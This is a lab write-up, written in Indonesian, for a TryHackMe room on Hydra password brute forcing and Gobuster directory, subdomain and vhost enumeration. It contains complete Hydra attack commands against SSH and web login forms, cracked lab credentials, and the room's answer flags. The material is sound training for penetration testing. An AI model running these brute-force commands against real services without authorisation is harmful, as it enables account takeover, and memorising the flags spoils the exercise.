Offensive Security Tooling Part 1
Hydra
Hydra Introduction
Hydra adalah alat brute force online password cracking yang digunakan untuk menebak kata sandi layanan login secara otomatis dan cepat. Hydra bekerja dengan cara mencoba kombinasi username dan password dari sebuah wordlist ke berbagai layanan autentikasi.
Alat ini sangat berguna untuk menggantikan proses menebak password secara manual pada layanan seperti SSH, FTP, Web Login Form, SNMP, dan lainnya.
⚙️ Cara Kerja Hydra
Hydra akan:
- Mengambil daftar username dan/atau password
- Mencoba login ke sebuah layanan secara berulang
- Menghentikan proses ketika kredensial yang benar ditemukan
Dengan cara ini, proses pencarian password menjadi jauh lebih cepat dan efisien dibandingkan percobaan manual.
🌐 Protokol yang Didukung Hydra
Menurut repositori resminya, Hydra mendukung brute force pada banyak protokol, di antaranya:
- Remote Access: SSH, Telnet, RDP, VNC
- Web: HTTP/HTTPS (GET, POST, FORM)
- File & Mail: FTP, SMB, SMTP, POP3, IMAP
- Database: MySQL, MSSQL, PostgreSQL, MongoDB
- Network Services: SNMP, LDAP, SOCKS5
- Lainnya: Cisco Auth, Oracle, VMware-Auth, XMPP, dan masih banyak lagi
Hal ini menjadikan Hydra sebagai salah satu alat brute force paling lengkap.
🔑 Pentingnya Password yang Kuat
Penggunaan Hydra menunjukkan betapa rentannya password yang lemah, seperti:
- Terlalu pendek (≤ 8 karakter)
- Tidak menggunakan simbol
- Password umum atau default
Banyak perangkat dan aplikasi masih menggunakan kredensial default seperti:
admin : passwordContohnya pada CCTV, router, dan web framework, yang sangat mudah dibobol jika tidak diganti.
🛠️ Instalasi Hydra
Hydra sudah tersedia secara default pada beberapa sistem:
✔️ AttackBox
- Hydra sudah terpasang
- Cukup klik Start AttackBox
✔️ Kali Linux
- Hydra tersedia di semua distribusi Kali
- Jalankan Kali dan gunakan langsung
✔️ Linux Lain (Ubuntu/Fedora)
- Ubuntu/Debian:
apt install hydra - Fedora:
dnf install hydra
Hydra juga bisa diunduh langsung dari repositori resmi THC-Hydra.
Using Hydra
Opsi (options) yang digunakan pada Hydra bergantung pada layanan atau protokol yang ingin diserang, misalnya FTP, SSH, atau Web Form.
Sebagai contoh, untuk melakukan brute force pada layanan FTP dengan:
- Username:
user - Wordlist password:
passlist.txt
Perintahnya:
hydra -l user -P passlist.txt ftp://MACHINE_IP🔐 Brute Force SSH dengan Hydra
Contoh perintah umum:
hydra -l <username> -P <full path ke password> MACHINE_IP -t 4 ssh📌 Penjelasan Opsi
| Opsi | Keterangan |
|---|---|
-l | Menentukan username untuk login |
-P | Menentukan file wordlist password |
-t | Jumlah thread (percobaan paralel) |
ssh | Protokol yang diserang |
📎 Contoh
hydra -l root -P passwords.txt MACHINE_IP -t 4 sshArtinya:
- Menggunakan root sebagai username
- Mencoba password dari file
passwords.txt - Menggunakan 4 thread secara paralel
- Menyerang layanan SSH
🌐 Brute Force Web Login Form (POST)
Hydra juga bisa digunakan untuk menyerang form login website, khususnya dengan metode POST.
Sebelum menyerang:
- Pastikan jenis request (GET / POST)
- Cek menggunakan Developer Tools → Network di browser
📄 Format Umum
sudo hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "<path>:<login_credentials>:<invalid_response>"📌 Penjelasan Parameter
| Parameter | Keterangan |
|---|---|
-l | Username login |
-P | Wordlist password |
http-post-form | Tipe form menggunakan POST |
<path> | URL halaman login (contoh: /login.php) |
<login_credentials> | Format data login |
<invalid_response> | Teks yang muncul saat login gagal |
-V | Menampilkan setiap percobaan (verbose) |
📎 Contoh Perintah Lengkap
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -VPenjelasan:
- Login page berada di
/ - Field form username bernama
username - Field password bernama
password ^USER^akan diganti username^PASS^akan diganti password dari wordlistincorrectadalah teks yang muncul saat login gagal
🔢 Menentukan Port Non-Default
Jika web server berjalan pada port selain default (80/443), gunakan opsi -s:
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -s <port> -V✅ Kesimpulan
Dengan Hydra, kita bisa:
- Melakukan brute force pada SSH
- Menyerang web login form (POST)
- Mengatur kecepatan dan efisiensi dengan thread
- Menyesuaikan port dan response error
Semua ini menegaskan pentingnya: 🔑 Password kuat & konfigurasi keamanan yang benar
Answers Questions
kunjungi web page 10.48.168.219, dan coba lakukan login biasa terlebih dahulu untuk mengetahui response ketika login gagal.

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.48.168.219 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect." -V
# [ATTEMPT] target 10.48.168.219 - login "molly" - pass "angel" - 34 of 14344398 [child 0] (0/0)
# [ATTEMPT] target 10.48.168.219 - login "molly" - pass "jordan" - 35 of 14344398 [child 4] (0/0)
# [ATTEMPT] target 10.48.168.219 - login "molly" - pass "liverpool" - 36 of 14344398 [child 10] (0/0)
# [80][http-post-form] host: 10.48.168.219 login: molly password: sunshinesetelah mengetahui password nya kita login dan dapatkan flag molly:sunshine.

- Use Hydra to bruteforce molly's web password. What is flag 1?
- if you've tried more than 30 passwords from RockYou.txt
THM{2673a7dd116de68e85c48ec0b1f2612e}
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.48.168.219 ssh
# [22][ssh] host: 10.48.168.219 login: molly password: butterflykita coba login ssh dengan credensial molly:butterfly dan dapatkan flag nya.
ssh molly@10.48.168.219
# butterfly
cat flag2.txt
# THM{c8eeb0468febbadea859baeb33b2541b}- Use Hydra to bruteforce molly's SSH password. What is flag 2?
THM{c8eeb0468febbadea859baeb33b2541b}
Gobuster: The Basics
Environment Setup
Pada room ini, digunakan VM Ubuntu 20.04 yang berfungsi sebagai web server. Web server tersebut memiliki beberapa subdomain dan virtual host (vhost), serta menjalankan dua CMS, yaitu WordPress dan Joomla.
Selama room berlangsung, proses enumerasi direktori web dan subdomain dilakukan menggunakan Gobuster di AttackBox (yang sudah terpasang Gobuster). Jika ingin menggunakan mesin sendiri, pengguna harus terhubung ke VPN TryHackMe dan menginstal Gobuster secara manual (panduan tersedia di repository GitHub resmi Gobuster).
Untuk memulai:
- Jalankan web server dengan menekan Start Machine (butuh ±2 menit untuk boot).
- Jalankan AttackBox melalui tombol Start AttackBox.
- Akses langsung ke web server tidak diperlukan.
Karena environment menggunakan jaringan lokal dengan DNS server di web server, diperlukan konfigurasi DNS agar domain dapat di-resolve dengan benar:
- Edit file
/etc/resolv-dnsmasqdi AttackBox. - Tambahkan
nameserver 10.49.181.246sebagai baris pertama. - Simpan perubahan dan keluar.
- Restart service dnsmasq.
sudo nano /etc/resolv-dnsmasq
# ---
nameserver 10.49.181.246
# [...]
# ---
cat /etc/resolv-dnsmasq
# nameserver 10.49.181.246
# nameserver 169.254.169.253ini bertujuan agar AttackBox dapat melakukan resolve domain ke IP web server.
Gobuster: Introduction
1. Pengertian Gobuster
Gobuster adalah tools open-source berbasis Golang yang digunakan untuk melakukan enumerasi secara brute force terhadap berbagai layanan, antara lain:
- Direktori dan file web
- Subdomain DNS
- Virtual Host (vhost)
- Amazon S3 bucket
- Google Cloud Storage bucket
Gobuster banyak digunakan oleh profesional keamanan, penetration tester, dan bug bounty hunter. Dalam tahapan ethical hacking, Gobuster berada di antara fase reconnaissance (pengintaian) dan scanning (pemindaian).
2. Konsep Dasar
a. Enumeration
Enumeration adalah proses mendaftarkan atau mengidentifikasi semua resource yang tersedia, baik yang bisa diakses maupun tidak. Contoh: Gobuster digunakan untuk menemukan direktori tersembunyi pada sebuah website.
b. Brute Force
Brute force adalah metode mencoba semua kemungkinan sampai menemukan kecocokan. Contohnya seperti mencoba banyak kunci hingga satu kunci dapat membuka gembok. Gobuster menggunakan wordlist untuk melakukan brute force ini.
3. Gambaran Umum Gobuster
Gobuster sudah tersedia secara default pada distro seperti Kali Linux. Untuk melihat fitur dan opsi yang tersedia, dapat digunakan perintah:
gobuster --helpPerintah ini menampilkan panduan penggunaan Gobuster.
4. Struktur Help Page Gobuster
a. Usage
Menjelaskan cara penggunaan dasar perintah Gobuster.
b. Available Commands
Perintah-perintah utama Gobuster, di antaranya:
dir→ Enumerasi direktori dan file webdns→ Enumerasi subdomain DNSvhost→ Enumerasi virtual hostfuzz→ Mode fuzzings3→ Enumerasi AWS S3 bucketgcs→ Enumerasi Google Cloud Storage bucket
Fokus utama dalam room ini adalah dir, dns, dan vhost.
c. Flags (Opsi Penting)
Beberapa flag yang sering digunakan:
| Short Flag | Long Flag | Keterangan |
|---|---|---|
-t | --threads | Menentukan jumlah thread (default: 10). Semakin besar, semakin cepat, namun tergantung resource |
-w | --wordlist | Menentukan wordlist yang digunakan untuk brute force |
--delay | Memberi jeda waktu antar request agar tidak terdeteksi | |
--debug | Membantu troubleshooting saat terjadi error | |
-o | --output | Menyimpan hasil enumerasi ke file |
5. Contoh Penggunaan Gobuster
Contoh enumerasi direktori web:
gobuster dir -u "http://www.example.thm/" -w /usr/share/wordlists/dirb/small.txt -t 64Penjelasan:
gobuster dir→ Menggunakan mode enumerasi direktori-u→ Target URL-w→ Wordlist yang digunakan untuk brute force-t 64→ Menggunakan 64 thread untuk mempercepat proses
Gobuster akan mencoba setiap kata dalam wordlist sebagai nama direktori dan mengirim request ke target URL.
6. Kesimpulan
Gobuster adalah tools yang sangat efektif untuk enumerasi resource tersembunyi pada sebuah target. Dengan pemilihan mode, wordlist, dan konfigurasi flag yang tepat, Gobuster dapat membantu mengumpulkan informasi penting sebelum masuk ke tahap eksploitasi.
- What flag do we use to specify the target URL?
-u
- What command do we use for the subdomain enumeration mode?
dns
Use Case: Directory and File Enumeration
1. Pengertian Dir Mode
Gobuster dir mode digunakan untuk melakukan enumerasi direktori dan file pada sebuah website. Mode ini sangat berguna dalam penetration testing untuk mengetahui struktur direktori dan file yang dimiliki sebuah web server.
Banyak website dan web application menggunakan struktur direktori standar, seperti pada WordPress, sehingga rentan untuk ditemukan menggunakan metode brute force dengan wordlist.
Contoh struktur direktori WordPress:
/wordpress
├── wp-admin
├── wp-content
└── wp-includes2. Kelebihan Gobuster Dir
Gobuster dapat menampilkan HTTP status code dari setiap request, sehingga kita dapat mengetahui:
- Direktori/file dapat diakses atau tidak
- Apakah terjadi redirect, forbidden, atau not found
3. Help Gobuster Dir
Untuk melihat opsi lengkap dir mode, gunakan perintah:
gobuster dir --helpKarena opsinya cukup banyak, fokus utama diberikan pada flag yang paling sering digunakan.
4. Flag Penting pada Dir Mode
| Flag | Long Flag | Fungsi |
|---|---|---|
-c | --cookies | Menambahkan cookie (misalnya session ID) pada setiap request |
-x | --extensions | Menentukan ekstensi file yang ingin dicari (contoh: .php, .js) |
-H | --headers | Menambahkan header HTTP pada setiap request |
-k | --no-tls-validation | Melewati validasi TLS (berguna untuk sertifikat self-signed) |
-n | --no-status | Menyembunyikan status code agar output lebih bersih |
-U | --username | Username untuk request terautentikasi |
-P | --password | Password untuk request terautentikasi |
-s | --status-codes | Menentukan status code yang ingin ditampilkan |
-b | --status-codes-blacklist | Menentukan status code yang ingin disembunyikan |
-r | --followredirect | Mengikuti redirect (301/302) secara otomatis |
5. Cara Menggunakan Dir Mode
Format dasar perintah:
gobuster dir -u "http://www.example.thm" -w /path/to/wordlistCatatan: Flag
-u(URL) dan-w(wordlist) wajib digunakan.
6. Contoh Enumerasi Direktori
gobuster dir -u "http://www.example.thm" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -rPenjelasan:
dir→ Mode enumerasi direktori dan file-u→ URL target (harus menyertakan protokol HTTP/HTTPS)-w→ Wordlist yang digunakan-r→ Mengikuti redirect otomatis
Catatan penting:
- Gunakan hostname daripada IP untuk menghindari salah target akibat virtual hosting
- Gobuster tidak melakukan enumerasi secara rekursif, jadi direktori yang menarik harus discan ulang secara manual
7. Contoh Enumerasi File Berdasarkan Ekstensi
gobuster dir -u "http://www.example.thm" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x .php,.jsPerintah ini akan:
- Mencari direktori
- Mencari file dengan ekstensi .php dan .js
- Which flag do we have to add to our command to skip the TLS verification? Enter the long flag notation.
--no-tls-validation
gobuster dir -u "http://www.offensivetools.thm" -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u "http://www.offensivetools.thm" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# /images (Status: 301) [Size: 333] [--> http://www.offensivetools.thm/images/]
# /home (Status: 200) [Size: 8818]
# /media (Status: 301) [Size: 332] [--> http://www.offensivetools.thm/media/]
# /templates (Status: 301) [Size: 336] [--> http://www.offensivetools.thm/templates/]
# /modules (Status: 301) [Size: 334] [--> http://www.offensivetools.thm/modules/]
# /plugins (Status: 301) [Size: 334] [--> http://www.offensivetools.thm/plugins/]
# /includes (Status: 301) [Size: 335] [--> http://www.offensivetools.thm/includes/]
# /language (Status: 301) [Size: 335] [--> http://www.offensivetools.thm/language/]
# /components (Status: 301) [Size: 337] [--> http://www.offensivetools.thm/components/]
# /api (Status: 301) [Size: 330] [--> http://www.offensivetools.thm/api/]
# /cache (Status: 301) [Size: 332] [--> http://www.offensivetools.thm/cache/]
# /libraries (Status: 403) [Size: 287]
# /tmp (Status: 301) [Size: 330] [--> http://www.offensivetools.thm/tmp/]
# /layouts (Status: 301) [Size: 334] [--> http://www.offensivetools.thm/layouts/]
# /secret (Status: 301) [Size: 333] [--> http://www.offensivetools.thm/secret/]
# /administrator (Status: 301) [Size: 340] [--> http://www.offensivetools.thm/administrator/]- Enumerate the directories of www.offensivetools.thm. Which directory catches your attention?
- Use the directory-list-2.3-medium.txt wordlist for enumeration. The directory in question starts with an “s”.
secret
gobuster dir -u "http://www.offensivetools.thm/secret" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .js
# /content (Status: 301) [Size: 341] [--> http://www.offensivetools.thm/secret/content/]
# /uploads (Status: 301) [Size: 341] [--> http://www.offensivetools.thm/secret/uploads/]
# /flag.js (Status: 200) [Size: 22]curl http://www.offensivetools.thm/secret/flag.js
# THM{ReconWasASuccess}- Continue enumerating the directory found in question 2. You will find an interesting file there with a .js extension. What is the flag found in this file?
- -x does the trick.
THM{ReconWasASuccess}
Use Case: Subdomain Enumeration
1. Pengertian DNS Mode
Gobuster dns mode digunakan untuk melakukan brute force subdomain pada sebuah domain utama. Dalam penetration testing, enumerasi subdomain sangat penting karena:
- Subdomain sering kali memiliki konfigurasi berbeda
- Patch keamanan di domain utama belum tentu diterapkan pada subdomain
- Celah keamanan bisa saja terdapat di subdomain tertentu
Contoh:
tryhackme.thmamanmobile.tryhackme.thmmasih memiliki kerentanan
Karena itu, pencarian subdomain merupakan langkah penting dalam fase reconnaissance.
2. Help Gobuster DNS
Untuk melihat seluruh opsi dns mode:
gobuster dns --helpDNS mode memiliki flag lebih sedikit dibanding dir mode, namun sudah cukup untuk sebagian besar kebutuhan enumerasi subdomain.
3. Flag Penting pada DNS Mode
| Flag | Long Flag | Fungsi |
|---|---|---|
-c | --show-cname | Menampilkan CNAME record (tidak bisa digunakan bersamaan dengan -i) |
-i | --show-ips | Menampilkan alamat IP hasil resolusi domain dan subdomain |
-r | --resolver | Menentukan DNS server khusus untuk resolving |
-d | --domain | Menentukan domain target yang akan dienumerasi |
4. Cara Menggunakan DNS Mode
Format dasar perintah:
gobuster dns -d example.thm -w /path/to/wordlistCatatan: Flag
-d(domain) dan-w(wordlist) wajib digunakan.
5. Contoh Enumerasi Subdomain
gobuster dns -d example.thm \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txtPenjelasan:
gobuster dns→ Mode enumerasi subdomain-d example.thm→ Domain target-w→ Wordlist subdomain yang digunakan- Setiap kata dalam wordlist akan dicoba sebagai subdomain
Contoh:
all.example.thm,www.example.thm, dll
6. Contoh Hasil Output
Gobuster akan menampilkan subdomain yang valid, seperti:
www.example.thmshop.example.thmacademy.example.thmprimary.example.thm
Selain itu, Gobuster juga menampilkan:
- Jumlah thread
- Timeout
- Progres enumerasi
- Wordlist yang digunakan
- Apart from the dns keyword and the -w flag, which shorthand flag is required for the command to work?
-d
gobuster dns -d offensivetools.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
# Found: www.offensivetools.thm
# Found: forum.offensivetools.thm
# Found: store.offensivetools.thm
# Found: WWW.offensivetools.thm
# Found: primary.offensivetools.thm- Use the commands learned in this task, how many subdomains are configured for the offensivetools.thm domain?
- Use the /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt wordlist. You can ignore duplicate entries with casing.
4
Use Case: Vhost Enumeration
1. Pengertian VHOST Mode
Gobuster vhost mode digunakan untuk melakukan brute force virtual host (vhost).
Virtual host adalah beberapa website berbeda yang berjalan pada satu server dan satu IP yang sama. Sekilas vhost bisa terlihat seperti subdomain, namun sebenarnya berbeda:
| VHOST | SUBDOMAIN |
|---|---|
| Berbasis IP | Berbasis DNS |
| Berjalan di server yang sama | Dikonfigurasi di DNS |
| Dibedakan lewat HTTP Host header | Dibedakan lewat resolusi DNS |
2. Perbedaan DNS Mode vs VHOST Mode
- DNS Mode Melakukan DNS lookup ke FQDN (subdomain.domain.tld).
- VHOST Mode
Mengirim request ke satu IP/URL, lalu mengganti nilai
Host:pada HTTP header berdasarkan wordlist.
3. Help Gobuster VHOST
Untuk melihat opsi lengkap vhost mode:
gobuster vhost --helpKarena opsinya cukup banyak, fokus hanya pada flag yang paling sering digunakan.
4. Flag Penting pada VHOST Mode
| Flag | Long Flag | Fungsi |
|---|---|---|
-u | --url | Menentukan URL atau IP target |
--append-domain | Menambahkan domain ke setiap kata di wordlist | |
-m | --method | Menentukan metode HTTP (GET, POST, dll) |
--domain | Menentukan domain (SLD + TLD) | |
--exclude-length | Memfilter hasil berdasarkan ukuran response | |
-r | --follow-redirect | Mengikuti redirect HTTP |
5. Cara Menggunakan VHOST Mode
Format dasar perintah:
gobuster vhost -u "http://example.thm" -w /path/to/wordlistCatatan: Flag
-udan-wwajib digunakan.
6. Contoh Enumerasi Virtual Host
gobuster vhost -u "http://10.49.181.246" \
--domain example.thm \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain \
--exclude-length 250-3207. Cara Kerja HTTP Request VHOST
Contoh request yang dikirim Gobuster:
GET / HTTP/1.1
Host: www.example.thm
User-Agent: gobuster/3.6Struktur Host: terdiri dari:
- Subdomain → diisi dari wordlist (
www,blog, dll) - Second-level domain →
example - Top-level domain →
.thm
8. Penjelasan Flag pada Contoh
gobuster vhost→ Mode enumerasi virtual host-u http://10.49.181.246→ IP target-w→ Wordlist subdomain--domain example.thm→ Menentukan domain utama--append-domain→ Menggabungkan wordlist + domain agar tidak terjadi false positive--exclude-length→ Menghapus hasil palsu berdasarkan ukuran response
Tanpa --exclude-length, banyak hasil palsu (404) akan muncul dengan ukuran response yang mirip.
gobuster vhost -u http://10.49.181.246 --domain offensivetools.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --exclude-length 250-320
# Found: forum.offensivetools.thm Status: 200 [Size: 2635]
# Found: store.offensivetools.thm Status: 200 [Size: 3014]
# Found: www.offensivetools.thm Status: 200 [Size: 8806]
# Found: secret.offensivetools.thm Status: 200 [Size: 1550]
# Found: WWW.offensivetools.thm Status: 200 [Size: 8806]- Use the commands learned in this task to answer the following question: How many vhosts on the offensivetools.thm domain reply with a status code 200?
- Copy the example command and edit the flags accordingly.
4